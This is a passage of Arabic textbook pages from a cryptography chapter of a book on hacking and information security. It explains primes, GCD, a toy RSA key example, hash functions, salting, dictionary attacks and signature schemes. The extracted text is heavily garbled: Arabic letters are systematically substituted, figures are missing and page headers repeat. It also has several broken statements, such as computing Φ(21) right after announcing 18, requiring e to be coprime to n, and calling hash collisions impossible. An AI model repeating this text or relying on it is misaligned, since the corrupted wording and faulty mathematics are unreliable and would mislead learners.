‫سابقات دولية يف جمال‬ ‫تازة!‪ ،‬وكيف بدأت ُأم ُه باإلذتامم به‪ ،‬وتأذيله خلوض ُم‬
‫َحيكي قصة طفل يمتلك عقلية رياضية ُُم َ‬
‫الرياضيات‪..‬‬
‫ا ُملهم‪..‬‬
‫الو َجبات بأرقام‪َ ،‬ق َطل َبت السيدة الوجبة‬
‫سمي َ‬ ‫ذات يوم ذذبت أم ُه لتشرتي له وجبة الغداء‪ ،‬ويبدو أن ذذا املَط َعم ك َ‬
‫َان ُي ّ‬
‫رقم "‪ "47‬وذو رقم أويل!‪ ،‬لكنها أرادت لجراء تعديل عىل عدد القطع بداطل ذذه الوجبة لتكون عددذا "أولي ًا"‬
‫أيض ًا!‪ .‬ققال هلا الكاشري أنه من األقضل هلا أن تأطذ الوجبة رقم ”‪ “48‬الحتوائها عىل املطلوب‪،‬‬
‫قرتددت السيدة قلي ً‬
‫ال وقالت له‪:‬‬

‫"اعذرين قولدي لديه طباع غريبة بعض اليشء‪ ..‬لنه لن َيقبَل لال األرقام األولية!"‪ُ ،‬ثم أطرجت َج َ‬
‫دول األرقام األولية‬
‫من َشنطتها لتتأكد ذل الرقم ‪ 48‬أولي ًا َأم ال‪..‬‬
‫كام يظهر‪.‬‬ ‫ثم أرادت أن تُريه أنه ليس أولي ًا كام يبدو يف الصورة باألسفل‪ ،‬قارتسمت عىل الكاشري مالمح اإلندذا‬

‫‪Cryptography‬‬
‫]‪[345‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Cryptography
[346]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫اجلدول السابق يوضح األعداد األولية التي تقع أسفل الرقم ”‪.“2000‬‬

‫ولكن مل نُجب عىل السؤال!‪..‬‬


‫كيف يكون العددين أوليني قيام بينهام من األساس؟‪ ،‬أو كيف نحكُم أن ذذان العددان أوليان قيام بينهم؟‬
‫حسن ًا‪ ..‬ذذا ذو التعريف أوالً‪:‬‬
‫يف نظرية األعداد‪ ،‬يكون عددان صحيحان أوليني قيام بينهام )‪:(Coprime integers‬‬

‫عندما يكون القاسم املشرتك األكرب )‪ Greatest Common Divisor (GCD‬بينهام والذي يمكن لجياده باستعامل‬
‫طوارزمية اقليدس‪ ،‬مساوي ًا للعدد )‪.(1‬‬

‫وما ذذا القاسم املُشرتك األكرب؟‬


‫سمة‪َ ،‬ق َمثالً للعددين (‪ 48‬و ‪ ،)60‬سيكون ‪.12‬‬
‫لن ُه أكرب َعدد َيقسم يف نَفس الوقت العددين َمع ًا بدون أي باقي ق َ‬

‫َيف َحتسب َلنا ذذه اخلاورزمية املُسامة "لقليدس" ال ‪ GCD‬لعددين أوليني‪..‬؟‬


‫وك َ‬
‫مجيل ذذا االسم‪ ..‬لقليدس ‪.‬‬
‫”‪“Euclidean Algorithm‬‬
‫رتض أن يكونا أوليني قيام بينهم‪ ،‬وذم )‪:(7253, 120‬‬
‫ذذا مثال يوضح طريقة حساب ال ‪ GCD‬لعددين ُيف َ‬

‫‪Cryptography‬‬
‫]‪[347‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫سمة يف اخلانة ‪ُ ،R‬ثم نَقوم‬ ‫تتلخص الطريقة بوضع العدد األكرب أوالً ثم ق َ‬
‫سمته عىل العدد األصغر‪ ،‬ووضع باقي الق َ‬
‫بنَقل العدد األصغر َحت َت اخلانة ‪ ،A‬ونَقل ال ‪ R‬األول َحت َت اخلَانَة ‪ُ .B‬ثم ق َ‬
‫سمة ال ‪ 120‬عىل ال ‪ 53‬ووضع الباقي مر ًة‬
‫أطرى حتت اخلانة ‪ ،R‬ثم لجراء عملية النقل ثم القسمة ووضع الباقي وذكذا‪ ..‬لىل أن نصل لىل (‪ ،)2 /1 = 2‬وذذا‬
‫يعني أن الباقي بعد القسمة = صفر!‪.‬‬
‫قيكون ال ‪ GCD‬ذو قيمة ال ‪ R‬التي تَسبق الصفر ُمبارشةً‪ ،‬قإن كانت ذذه القيمة = ‪ ،1‬قهذا يعني أن ذذان العددان‬
‫أوليان‪.‬‬

‫لنعود‪..‬‬
‫ُقلنا أن أول ططوة ذي اطتيار عددين أوليني‪.‬‬
‫واخلطوة الثانية ذي حساب قيمة ‪ ،n‬حيث ‪n = p . q‬‬

‫ما ذذا ال "‪.."n‬؟‬

‫‪Cryptography‬‬
‫]‪[348‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫كمعامل" أثناء التشفري وأثناء قك التشفري‪ ،‬أي أن ُه َس َي ُ‬


‫دطل يف ُمعادلة ال ‪ ،Public Key‬وال‬ ‫لنه عدد سيتم استخدامه " ُ‬
‫‪( .Private Key‬سنأيت لليه بعد قليل‪.)..‬‬
‫والثالثة ذي حساب ال ”)‪“Euler’s totient function, Φ(n‬‬

‫ويتم تعريفها عىل أهنا عدد األعداد الصحيحة املوجبة التي تقل عن العدد ‪ُ ،n‬‬
‫وحتقق ذذا الرشط‪:‬‬
‫”‪“they should be relatively prime to n‬‬

‫دعنا نأطذ مثال‪:‬‬


‫يمة )‪Φ(29‬‬
‫نُريد حساب ق َ‬
‫بام أن ال َعدد ‪َ 29‬عدَ د أويل‪..‬‬
‫لذ ًا‪ُ ..‬يمكنُنا القول بأن‪ ،Φ(29) = 28 :‬بعنى أنه‪:‬‬

‫‪Φ(n) = n – 1‬‬
‫وذذا ققط لألعداد األولية!‬

‫وبام أن )‪َ Φ(n‬ذذه كانت يف األساس )‪ ،Φ(p, q‬ق ُيمكنُنا القول بأن‪:‬‬
‫)‪Φ(n) = Φ(pq) = Φ(p) * Φ(q) = (p - 1) * (q - 1‬‬

‫َذيا لن ُ‬
‫َأطذ مثال‪:‬‬

‫‪Cryptography‬‬
‫]‪[349‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ُجرب العدد ‪..15‬‬


‫لن ِّ‬
‫ربنا اجلدول باألعىل أن ‪ ،Φ(15) = 8‬الحظ أن ‪ 15‬ليس عدد ًا أولي ًا‪ ،‬قال نَقول ُذنا ‪ .Φ(15) = 14‬نُريد هلذا ال ‪ 15‬أن‬
‫ُخي ُ‬
‫يكون حاصل َضب لعددين أوليني كي نُحقق رشط املعادلة‪.‬‬
‫أوليني حاصل ََضِبم = ‪15‬‬
‫ذيا لنختار أي عددين ِّ‬
‫أوليني وحاصل ََضِبم = ‪ 15‬أيض ًا‪.‬‬
‫نَجد أن ال َعدد ‪ 3‬وال َعدَ د ‪َ 5‬عدَ َدين ِّ‬
‫لنُطبق املعادلة‪:‬‬
‫)‪Φ(n) = Φ(pq) = Φ(p) * Φ(q) = (p - 1) * (q - 1‬‬
‫‪Φ(15) = Φ(5, 3) = (5 – 1) * (3 – 1) = 4 * 2 = 8‬‬

‫يبدو أنك تُريدُ مثاالً آطر‪ ..‬ال َبأس!‪:‬‬


‫ال ت ُقل يل سأطتار العدد ‪ ..25‬ذل تعرف السبب؟‬
‫ألن يف ذذه احلالة َسيكون ال ‪ ،p = 5‬وال ‪ q = 5‬أيض ًا‪ ،‬وذذا ُُمالف َ‬
‫للرشط يف أن َيكونا ُُمتلفني!‪.‬‬

‫‪Cryptography‬‬
‫]‪[350‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫لنُجرب العدد ‪..18‬‬


‫‪Φ(21) = Φ(7, 3) = (7 – 1) * (3 – 1) = 6 * 2 = 12‬‬

‫أظن أننا قد قهمنا اخلطوات السابقة جيد ًا!‪.‬‬


‫واآلن وبعد حصولنا عىل ال )‪ ،Φ(n‬سنقوم باطتيار العدد )‪ ،(e‬بحيث ُحيقق رشطني ُذم‪:‬‬
‫‪ -‬أن يقل ذذا العدد عن العدد )‪Φ(n‬‬

‫‪ -‬أن يكون ُكالً من ال (‪ )e‬وال )‪ Φ(n‬أوليني قيام بينهام!‪،‬‬

‫كيف ذذا؟‬
‫حسن ًا‪َ ..‬سنَعتَرب أن ال ‪ ..Φ(n) = 160‬قنقوم باطتيار عدد عشوائي أقل من ال ‪.160‬‬
‫ُجرب العدد ‪ 7‬عىل سبيل املثال‪.‬‬
‫سن ِّ‬
‫باستخدام ال ”‪ “Euclidean Algorithm‬الطتبار العددين كام ييل‪GCD (160, 7) :‬‬

‫نَجد أن ال ‪.GCD = 1‬‬

‫ذذا جيد‪ ..‬ولكن ماذا سنفعل ِبذا ال )‪.. (e‬؟‬


‫َسنستَخدم ُه يف ُمعادلة التشفري كام ييل‪:‬‬
‫لنَفرض أن الرسالة املُراد تشفريذا ذي ‪ ،M‬والرسالة ا ُملشفرة ستكون ‪ ،C‬قتكون املعادلة‪:‬‬

‫‪Cryptography‬‬
‫]‪[351‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ذل تتذكر ذذا ال )‪..(n‬؟‬


‫َ‬
‫وأطربناك أننا َسنستَخدم ُه يف َع َملية التشفري وقك التشفري!‪.‬‬ ‫تكلمنا َعن ُه يف اخلُطوة الثانية‬
‫وذذا ألن ال ‪ plaintext‬الذي سيتم تشفريه َس َيجري لرسال ُه عىل ذيئة )‪ ،(Blocks‬كل ‪َ block‬س َيحمل ‪Binary value‬‬

‫أقل من ذذا العدد )‪ ،(n‬بمعنى أن ذذا ال ‪ ciphertext‬ستكون قيمته بني الصفر وال )‪ .(n – 1‬وعىل أي حال‪ ،‬ذذا ال ‪n‬‬

‫لن تزيد قيمته عن )‪" ،(2^1024‬لثنني مرقوعة ل ُ‬


‫ألس ‪."1024‬‬

‫بنا ًء عىل ذذا الكالم‪ ..‬يبدوا واضح ًا َلنا اآليت‪:‬‬


‫‪ .1‬أن العدد ‪ n‬البد أن يكون معروق ًا ٍ‬
‫لكل من ال ‪ Sender‬وال ‪.Receiver‬‬
‫للمرسل‪ ،‬قهذا س ُيم ِّثل ال ‪ Public Key‬الذي سيستخدمه للتشفري‪ .‬ذذا ال ‪ Key‬الذي س ُيعطيه‬
‫‪ .2‬وأن العدد ‪ e‬معروق ًا ُ‬
‫لياه ا ُملستقبل‪.‬‬
‫للمستقبل‪ ،‬ذذا سيكون ال ‪ Private Key‬ا ُملستَخدَ م يف َقك الرسالة ا ُملشفرة‪.‬‬
‫‪ .3‬والعدد ‪ d‬معروق ًا ُ‬

‫يف الصفحة التالية شكل حتلييل يوضح مجيع اخلطوات السابقة‪:‬‬

‫‪Cryptography‬‬
‫]‪[352‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Cryptography
[353]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫بنا ًء عىل الشكل‪ ..‬يبدأ ال ‪ Generator‬بإنتاج ال ‪ e‬وال ‪ p‬وال ‪ ،q‬ثم يتم حساب ال ‪ ،n‬ولرسال ذذا ال ‪ e‬وال‬
‫‪ n‬للشخص الذي ُيريد لرسال الرسالة ا ُملشفرة لليه‪ ،‬حيث يتم استخدامهم يف معادلة لنتاج ال ‪ Ciphrtext‬كام‬
‫ترى يف اخلطوة الثانية‪.‬‬

‫ُثم اخلُطوة الثالثة يقوم قيها ال ‪ Sender‬بتَجهيز ال ‪ plaintext‬ا ُملراد تشفري ُه ولرساله‪.‬‬
‫كرهتا َل َك من َقبل يف التشفري‪.‬‬
‫ويف اخلطوة اخلامسة يتم استخدام املعادلة التي َذ ُ‬
‫ثم يف اخلطوة السادسة يتم جتهيز ال ‪ private key‬الذي سيستخدمه ال ‪ Receiver‬من أجل قك الرسالة‬
‫ا ُملشفرة باستخدام املعادلة الثانية التي يدطل قيها ال )‪.(d‬‬

‫ولكن مل ت ُقل يل كيف حصلت عىل ذذا ال )‪..(d‬؟‬


‫ذذا صحيح!‪ ..‬سأطربك كيف نحصل عليه يف املثال التايل‪ ،‬والذي سنختم به ذذا ال ”‪.“RSA‬‬

‫أوالً‪ :‬سنقوم باطتيار العددين األوليني‪p = 17, and q = 11 ،‬‬

‫ثاني ًا‪ :‬سنقوم بحساب ال ‪.. )n = p * q = 187( ،n‬لذ ًا (‪(n = 187‬‬

‫ثالث ًا‪ :‬سنقوم بحساب )‪ Φ(n‬عىل ذذا النحو‪:‬‬


‫‪Φ(n) = Φ(pq) = Φ(p) * Φ(q) = (p - 1) * (q - 1) = 16 * 10 = 160‬‬

‫‪Cryptography‬‬
‫]‪[354‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫حي ِّقق الرشطني املذكورين سابق ًا‪.‬‬


‫رابع ًا‪ :‬سنختار العدد ‪ e‬بحيث ُ َ‬
‫)‪e is relatively prime to n, and e is less than Φ(n). then.. e is (7‬‬

‫عرب عن ال ‪ Private Key‬ا ُملستخدَ م يف َقك الرسالة ا ُملشف َرة‪.‬‬ ‫طامس ًا‪ :‬ذذه ا ُ‬
‫خلطوة لتحديد العدد )‪ ،(d‬والذي ُي ِّ‬
‫نحصل عليه باستخدام ذذه املعادلة‪:‬‬
‫ُ‬
‫‪(ed – 1) mod (p – 1)(q – 1) = 0‬‬
‫‪e * d = Φ(n) + 1‬‬
‫‪7 * d = 160 + 1‬‬
‫‪d = 161 / 7 = 23‬‬

‫سادس ًا‪ :‬سنقوم بإعطاء الطرف اآلطر ال ‪ Public Key‬وذو ال )‪ ،(e‬وسنقوم باالحتفاظ بال ‪ Private Key‬لنا ققط‬
‫وذو ال )‪.(d‬‬

‫سابع ًا‪ :‬يقوم ال ‪ Sender‬بتشفري الرسالة وذي )‪ (88‬ولرساهلا‪ ،‬ويقوم ال ‪ Receiver‬باستقباهلا وقك تشفريذا‬
‫باستخدام ذذه املعادالت‪:‬‬

‫وعىل ذذا النحو‪:‬‬

‫‪Cryptography‬‬
‫]‪[355‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫لىل ُذنا نكون قد انتهينا من ال ‪.RSA‬‬

‫‪Cryptographic Hash Functions‬‬

‫ماذذا ال ”‪..“Hash Function‬؟‬


‫لهنا ‪ Function‬نُسميها )‪ ،(H‬تأطذ ‪ input‬وذو النص ا ُملراد لرساله )‪ ،(M‬لتقوم بإنتاج ‪ output‬بحجم ثابت‪:‬‬
‫”‪ “Fixed-size hash value‬سنُسميه )‪.(h‬‬

‫ذيا لنُعيد كتابة ذذه املعادلة‪:‬‬


‫)‪h = H(M‬‬

‫‪Cryptography‬‬
‫]‪[356‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫اسة بدَ َر َجة عالية‪ ،‬قأي تَغيري َيتم لجراؤ ُه عىل النص )‪ُ ،(M‬يؤدي لىل تغيري ُمقابل ل ُه يف ال‬
‫حس َ‬
‫ذذه ال ‪ّ Hash function‬‬
‫‪.Hash Code‬‬
‫ذذه ذي اخلاصية الرئيسية التي تتميز ِبا ال ‪.Hash Functions‬‬

‫وماذا سنستفيد من ذذه اخلاصية؟‬


‫نستفيد منها يف التأكد من أن النص أو امللف الذي جيري لرساله مل يتعرض ألي تعديل أثناء رحلته!‪ .‬ذذا الكالم يبدو‬
‫مألوق َا!‪ ،‬أليس كذلك؟‬

‫‪Cryptography‬‬
‫]‪[357‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫دعني ُأذك ُِّرك به‬.. ‫“ ؟‬Data Integrity” ‫ذل تتذكر تعريف ال‬
Integrity Assures that messages are received as sent with no duplication, insertion, modification,
reordering, or replay.

‫“ ؟‬Cryptographic Hash Functions” ‫واآلن ذل عرقت قائدة ال‬


.Data Integrity ‫لهنا أحد وسائل حتقيق ال‬

:Cryptographic Hash Functions ‫توجد بعض السامت األساسية لل‬

.‫ ُمتغري‬input length ‫ أي أن ال‬،‫ غري ثابت‬input ‫ األوىل أن ال‬


.Fixed-Size ‫ سيكون‬output ‫ والثانية أن ال‬

‫ وذذا يعني أنه‬،“One-way function” ‫ تُعتَرب‬Hash Function ‫ والثالثة أن ذذه ال‬


.!output ‫ من طالل اإلطالع عىل ال‬input ‫َيص ُعب بشدّ ة َمعر َقة ال‬
.hash values ‫ بمعنى أنه من املستحيل حدوث تَطا ُبق بني أي‬،“Collision free” ‫ والرابعة يف َمت َ ُّيزذا بأهنا‬
“it is incredibly difficult to find two pieces of data that hash to the same value, and the chances
of it happening by accident are almost 0”.

Message Authentication
.“Hash Function” ‫ أحد تطبيقات ال‬Message Authentication ‫ُت َعد ال‬
ُ
‫ وعندَ ما نَقوم باستخدام ال‬،‫ اخلاصة بالرسالة أو البيانات التي يتم لرساهلا‬integrity ‫حيث تُستخدم للتأكد من ال‬
.“Message Digest” ‫ نُطلق عليها‬،‫ هلذا ال َغ َرض‬Hash Function

Cryptography
[358]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫قام ذو تعريف ال ”‪..“Message Digest‬؟‬


‫”‪“Is the action of generating a unique output value derived from the content of the message‬‬

‫الحظ أن الرسالة لن تتحول لىل ذذا ال ‪ ،!hash value‬ستظل الرسالة كام ذي‪..‬‬
‫سيتم ققط لضاقة يشء مثل ‪ notepad‬مع الرسالة ِبا ذذا ال ‪.hash value‬‬

‫ويقوم ا ُملستقبل بتطبيق نفس ال ‪ Hash Function‬عىل الرسالة‪ ،‬قينتُج ‪ ،hash value‬يقوم ُ‬
‫بمقارنته بذلك الذي أتى‬
‫مع الرسالة‪ ،‬قإن تشاِبا‪ ،‬قهذا دليل عىل سالمة ذذه الرسالة أو امللف من أي تعديل أو حذف أو ضياع ألحد أجزائه‪.‬‬

‫ذل ُمكن َت َع ُّرض ذذه الرسالة لل ”‪..“Man in the middle attack‬؟‬

‫ذذا ُمكن بالطبع!‪..‬‬

‫‪Cryptography‬‬
‫]‪[359‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫كيف ذلك؟‬
‫بأن يتمكن أحدذم من اإلمساك بالرسالة قبل وصوهلا لىل ال ‪َ ،receiver‬ق َيطلع عليها ثم يقوم بتطبيق ال ‪ MD5‬مثالً‬
‫عليها مر ًة أطرى واستبدال ال ‪ hash value‬القديمة ِبذه اجلديدة‪ُ ،‬ثم لعادة لرساهلا لىل ال ‪.!receiver‬‬

‫أرين كيف يتم ذذا ‪..MITM‬؟‬

‫‪Cryptography‬‬
‫]‪[360‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وكيف َنت ََجنّب ذذا النوع من اهلجامت؟‬


‫سنحتاج ُذنا لطريقة آمنة لنقوم بإرسال الرسالة مع ال ‪ hash value‬لىل الطرف اآلطر‪.‬‬

‫الطريقة األوىل‪:‬‬

‫ُذنا سنقوم باستخدام ”‪ “Symmetric Algorithm‬لتشفري البيانات َقبل لرساهلا لىل الطرف اآلطر‪ ،‬ذذه البيانات‬

‫ستكون‪( :‬الرسالة ‪ +‬ال ‪ .)hash value‬وعند وصوهلا‪ ،‬سيقوم ال َط َرف اآلطر ب َفك الشفرة ل َي ُ‬
‫حصل عىل الرسالة وال‬
‫‪.hash file‬‬
‫ُثم َيقوم بتطبيق ال ‪ Hash Function‬عىل الرسالة و ُيقارن ال ‪ hash value‬الناجتة بتلك القادمة مع الرسالة‪.‬‬

‫الطريقة الثانية‪:‬‬

‫‪Cryptography‬‬
‫]‪[361‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫َعرضه ألي‬
‫َضمن عَدَ م ت ُّ‬
‫ُذنا سنقوم باستخدام ال ”‪ “Symmetric Encryption‬لتشفري ال ‪ hash code‬ققط!‪ ،‬لن َ‬
‫حصل عىل الرسالة وال ‪َ ،hash file‬ق َيقوم بنَفس‬
‫تَعديل‪ .‬وعند وصول البيانات‪َ ،‬سيقوم الطرف اآلطر بفك التشفري ل َي ُ‬
‫اإلجراء أيض ًا للتأكُد من َسالمة الرسالة‪.‬‬

‫الطريقة الثالثة‪:‬‬

‫نالحظ ظهور ‪ Input‬جديد سيدطل مع ال ‪ Hash Function‬أثناء لنتاج ال ‪ ،hash value‬وذو ال )‪ ،(S‬ذذا احلرف ذو‬
‫اطتصار لكلمة ”‪.“Salt‬‬
‫ماذذا ال ”‪..“Salt‬؟‬
‫لن ُه عبارة َعن ‪َ Random data‬يتم استخدامها ك ‪ input‬مع ال ‪ One-way function‬التي ستقوم بعمل ال ‪hash‬‬

‫للرسالة أو ال ‪ password‬ا ُملراد لرساله أو ختزينه‪ .‬قينتج بذلك ‪ hash value‬ليست هلا عالقة مبارشة مع الرسالة أو ال‬

‫‪ password‬الداطلة يف املعادلة!‪ ،‬ألننا ُقمنا بإلصاق بعض األحرف األطرى معها قبل لجراء ال ‪ُ .hashing‬‬
‫تكمن أمهية‬
‫ذذا ال ‪ Slat‬يف احلامية من ذجامت ال ”‪“Dictionary Attack‬‬

‫يف مثالنا ذذا‪..‬‬

‫‪Cryptography‬‬
‫]‪[362‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫سنقوم بإرسال ذذا ال ‪ Salt‬لىل ال َطرف اآلطر ب ُمفرده‪ُ ،‬ثم نُرسل َله الرسالة مع ال ‪ ،hash file‬يقوم ذو بتطبيق ال‬
‫الناجتة بتلك القاد َمة مع الرسالة‪.‬‬
‫َ‬ ‫‪ hash function‬مع لدطال ال ‪ ،Slat‬و ُيقارن ال ‪hash value‬‬

‫ماذذا ال ”‪..“Dictionary Attack‬؟‬


‫ذاذو‪ ..‬‬

‫لهنا عملية تطبيق ال ‪ Hash Function‬عىل كمية كبرية من كلامت الُس ا ُملقرتحة‪َ ،‬يتم َوضعها يف ملف ‪ ،txt‬قتقوم األداة‬
‫ب َع َمل ‪ hashing‬لكُل كَل َمة و ُمقارنة ال ‪ hash value‬بال ‪ hash‬ا ُملعطاة (ا ُملل َت َق َ‬
‫طة)‪ ،‬لىل أن َحيدُ ث تَشا ُبه بني أحد ال ‪hash‬‬

‫‪ values‬وتلك ا ُملعطاة!‪.‬‬

‫‪Cryptography‬‬
‫]‪[363‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وذكذا تظهر قائدة ال ‪ Salt‬يف العملية!‪.‬‬


‫قعدم استخدام ال ‪ُ Salt‬ي ِّسهل من عملية ال ‪Dictionary‬‬

‫‪.attack‬‬

‫أيض ًا استخدام "كلامت ِس" بسيطة أو سهلة ُي ِّ‬


‫ُسع من‬
‫عملية كُسذا أو ختمينها!‪.‬‬
‫ذذا شكل آطر يوضح طريقة تطبيق ال ‪ Hashing‬مع‬
‫استخدام ال ‪ Salt‬أثناء تسجيل دطول أحدذم لىل ال‬
‫‪:Server‬‬

‫‪Cryptography‬‬
‫]‪[364‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Cryptography
[365]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ ثم تطبيق ال‬،salt ‫ وال‬password ‫“ بني ال‬Concatenate” ‫ بعمل‬Server ‫الحظ يف اخلطوة الثالثة كيف قام ال‬
.‫ عليهم و ُمقارنة النتيجة بتلك ا ُملخزنة لديه‬Hashing Function

‫؟‬..“Concatenate” ‫وماذذا ال‬


.operator (+) ‫“ باستخدام ال‬two strings end-to-end” ‫ عملية دمج‬..‫لهنا باطتصار‬

..‫َسنَخ ُرج لىل قاصل َقصري ُثم نعود من جديد‬

Confidentiality, Authentication, and Signature


:‫ وذي‬، ‫َسنَقوم ب ُمراجعة َِسيعة لنؤكد عىل ذذه ا َملفاذيم‬
Confidentiality, Authentication, Nonrepudiation (Digital Signature)

:‫الشكل األول‬

Cryptography
[366]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫يث يبدو واضح ًا استخدام نفس ال ‪ Key‬يف عملية التشفري‬


‫عرب عن ال ”‪َ ،“Symmetric Encryption‬ح ُ‬
‫ذذا الشكل ُي ِّ‬
‫وقك التشفري!‪ ،‬ذذا ال ‪ Key‬يتم تبادله قيام بينهم عرب قناة آمنة سنتكلم عنها الحق ًا‪.‬‬

‫الشكل الثاين‪:‬‬

‫عرب عن ال ”‪ “Asymmetric Encryption‬ألن الطرف األول يقوم بتشفري الرسالة باستخدام ال ‪public‬‬
‫ذذا الشكل ُي ِّ‬
‫‪ key‬اخلاص بالطرف اآلطر‪.‬‬
‫ذذا النموذح ُحيقق لنا ال ‪ Confidentiality‬ولكن ال ُحيقق ال ‪!..Authentication‬‬

‫وملاذا ال ُحيقق ال ‪Authentication‬؟‬

‫فرة ذو ال ”‪َ “B’s Private Key‬قهذا َيعني أن ُه ال أحد سوا ُه َس َي َ‬


‫تمكّن من قتح‬ ‫بام أن ال ‪ key‬املُستخدم ل َفك َ‬
‫الش َ‬
‫امللف!‪ ،‬بينام قام ‪ B‬بإرسال ال ‪ public key‬اخلاص به لىل ‪ُ ،A‬قربام َيقع ذذا املفتاح ب َيد أحدذم قيتمكن من تشفري أي‬
‫بيانات ويقوم بإرساهلا ل ‪ُ B‬مدّ عي ًا أنه ‪.A‬‬
‫واآلن ماذا سنفعل لنُحقق ال ‪Authentication‬؟‬
‫ذذا ما سيأيت به لنا الشكل الثالث‪..‬‬

‫‪Cryptography‬‬
‫]‪[367‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الشكل الثالث‪:‬‬

‫ُقمنا بتحقيق ال ‪ Authentication‬عن طريق جعل الطرف ‪ A‬يقوم بتشفري الرسالة باستخدام ال ‪ private key‬اخلاص‬
‫به ذو!‪ ،‬وذذا ألن عملية ِسقة ال ‪ private key‬اخلاص بأحدذم أصعب بكثري من ِسقة ال ‪.public key‬‬
‫وبالتايل ذذا النموذج ُحيقق لنا ال ‪ Authentication‬وال ‪.Signature‬‬

‫عفو ًا‪ ..‬ولكن كيف ُحيقق ذذا النموذج ال ‪..Signature‬؟‬


‫حي ِّقق لنا األطرية‪ .‬ال‬ ‫لقد َع َرقنا َمبدَ ئي ًا ك َ‬
‫َيف ُحيقق ذذا النَموذج ال ‪ .Authentication‬سنأ ُطذ مثال لنفهم من ُه َ‬
‫كيف ُ َ‬
‫‪ Signature‬ذدقها لثبات أما َم اجلميع أن ‪ A‬ذو َوحدَ ُه من قام بإرسال ذذه الرسالة لىل ‪.B‬‬
‫بالتالعب بأن يأيت‬
‫ُ‬ ‫اسة‪ ،‬أو َقرارات مهمة!‪ُ ،‬ربام نُتيح ُقرصة للطرف ‪B‬‬
‫ماذا لو كانت ذذه الرسالة حتوي َمعلومات َح ّس َ‬
‫لنا برسالة و َيدّ عي أن ‪ A‬قام بإرساهلا له!‪ ،‬وأن ُه قام بفك تشفريذا بال ‪ public key‬اخلاص ب ‪..A‬‬

‫ماحلل ُذنا؟‬
‫بمقتضاذا امتالك احلق يف اإلدعاء بأن الرسالة أتت من ‪ ،A‬وذو أن ُيظهر لنا‬
‫احلل ُذنا أن نضع قاعدة يقوم الطرف ‪ُ B‬‬
‫ال ‪ Ciphertext‬القادم له من ‪..A‬‬

‫‪Cryptography‬‬
‫]‪[368‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وملاذا ال ‪ Ciphertext‬بالذات؟‬
‫بام أن ‪ A‬ذو الوحيد الذي يمتلك ال ‪ ،Private Key‬قهو الشخص الوحيد الذي يستطيع تكوين ال ‪،Ciphertext‬‬
‫وليس ألحد سوا ُه ذلك!‪ ،‬لال لذا متت ِسقة ذذا ال ‪ private key‬من اجلهاز!‪.‬‬
‫تواجد ذذا ال ‪ Ciphertext‬يف حد ذاته عند ‪ B‬ذو دليل كايف أن ‪ A‬ذو من أرسل ذذه الرسالة!‪.‬‬
‫وبالتايل ُ‬
‫حيث تعني "منع ا ُملرسل من اإلدعاء بعدم لرساله‬
‫ُ‬ ‫ت ََذكر أن ال ‪ Signature‬تُد ِّعم مفهوم ال ‪،Nonrepudiation‬‬
‫للرسالة‪ ،‬ومنع ا ُملستقبل من ادعائه بعدم وصوهلا لليه"‪.‬‬

‫ولكني الحظت عدم حتقيق ال ‪ Confidentiality‬يف ذذا النموذج!‪ ..‬ملاذا مل تتحقق؟‬


‫ألن عملية قك الشفرة ُمعتمدة عىل مرحلة واحدة وذي امتالك ال ‪ public key‬اخلاص بالطرف ‪ .A‬قإذا وقع ذذا ال‬
‫‪ public key‬بيد أحدذم قسيتمكن من رؤية الرسالة‪ ،‬وذذا طرق لل ‪.Confidentiality‬‬
‫ت ََذكر مثال ال ‪ ،Student Record‬والتي ال يتم السامح ألحد باالطالع عليها لال الطالب وأولياء أموره وجهة توظيفه‪،‬‬
‫واطالع غريذم عليها يدل عىل وجود طلل يف موثوقية ذذا املعهد!‪.‬‬

‫كيف نُحقق ال ‪ Confidentiality‬لذ ًا‪..‬؟‪ ،‬مع اإلبقاء عىل بقية اخلصائص‪..‬‬


‫"الشكل الرابع س ُيجيب علينا"‬

‫‪Cryptography‬‬
‫]‪[369‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الشكل الرابع‪:‬‬

‫لقد ُقمنا بإضاقة مرحلة أطرى أثناء عملية التشفري وقك التشفري‪،‬‬
